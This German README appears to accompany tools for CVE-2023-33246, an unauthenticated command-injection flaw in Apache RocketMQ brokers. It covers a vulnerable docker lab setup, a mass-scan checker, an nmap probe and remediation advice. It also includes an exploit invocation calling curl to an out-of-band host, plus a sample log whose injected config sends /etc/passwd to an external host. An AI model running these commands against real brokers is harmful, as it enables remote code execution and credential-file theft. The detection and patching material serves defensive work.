
CVE-2023-33246 RocketMQ RCE-Erkennung anhand von Version und Exploit

CVE-2023-33246 RocketMQ Remote-Code-Ausführung Exploit
RocketMQ ist eine verteilte Messaging- und Streaming-Plattform.
RocketMQ-Versionen 5.1.0 und niedriger sind anfällig für beliebige Code-Einschleusung (Arbitrary Code Injection). Die Broker-Komponente von RocketMQ wird im Extranet preisgegeben und verfügt über keine Berechtigungsprüfung. Ein Angreifer kann diese Schwachstelle ausnutzen, indem er die Update-Konfigurationsfunktion verwendet, um Befehle mit den Benutzerrechten auszuführen, unter denen RocketMQ läuft. Zusätzlich kann ein Angreifer denselben Effekt erzielen, indem er den Inhalt des RocketMQ-Protokolls fälscht.
docker pull apache/rocketmq:4.9.4
# Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
usage: check.py [-h] [--ip IP] [--file FILE] [--port PORT] [--cidr CIDR]
Check CVE-2023-33246 RocketMQ RCE vulnerability
optional arguments:
-h, --help show this help message and exit
--ip IP A single IP address to check
--file FILE A file containing a list of IP addresses, one per line
--port PORT The port number to use when connecting to the server (default
is 9876)
--cidr CIDR A CIDR range to scan (e.g. 1.2.3.0/24)
python3 check.py --ip 127.0.0.1 --port 9876
python3 check.py --cidr 192.168.1.0/24
# or
python3 check.py --file rocketmq_targets.txt --port 9876
# target in file format:
# ip
# ip:port
# http://ip:port
⚠️ Vorsicht: Bitte seien Sie vorsichtig bei der Ausführung dieses Skripts in Ihrer Produktionsumgebung, da der enthaltene Payload die Konfiguration von RocketMQ ändern kann.
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test
Bitte fügen Sie den folgenden Inhalt in die Datei nmap-service-probes im Nmap-Installationsverzeichnis ein.
##############################NEXT PROBE##############################
Probe TCP RocketMQ q|\x00\x00\x00\x64\x00\x00\x00\x60\x7b\x22\x63\x6f\x64\x65\x22\x3a\x32\x38\x2c\x22\x66\x6c\x61\x67\x22\x3a\x30\x2c\x22\x6c\x61\x6e\x67\x75\x61\x67\x65\x22\x3a\x22\x4a\x41\x56\x41\x22\x2c\x22\x6f\x70\x61\x71\x75\x65\x22\x3a\x30\x2c\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x54\x79\x70\x65\x43\x75\x72\x72\x65\x6e\x74\x52\x50\x43\x22\x3a\x22\x4a\x53\x4f\x4e\x22\x2c\x22\x76\x65\x72\x73\x69\x6f\x6e\x22\x3a\x34\x33\x33\x7d|
ports 10911,11911,12911,13911
rarity 8
match RocketMQBroker m|"brokerVersionDesc":\s*"([^"]*)"| p/RocketMQ Broker/ v/$1/ cpe:/a:apache:rocketmq/

Falls Ihr RocketMQ-Broker kompromittiert wurde, können Sie dies anhand bestimmter Muster im Broker-Log erkennen. Die Broker-Logs sehen dann wie folgt aus:
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig called by 172.17.0.1:56412
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig, new config: [{filterServerNums=1, rocketmqHome=-c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;}] client: /172.17.0.1:56412
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: filterServerNums, value: 0 -> 1
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: rocketmqHome, value: /home/rocketmq/rocketmq-4.9.4 -> -c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;
Aktualisieren Sie org.apache.rocketmq:rocketmq-broker auf Version 4.9.6, 5.1.1 oder höher.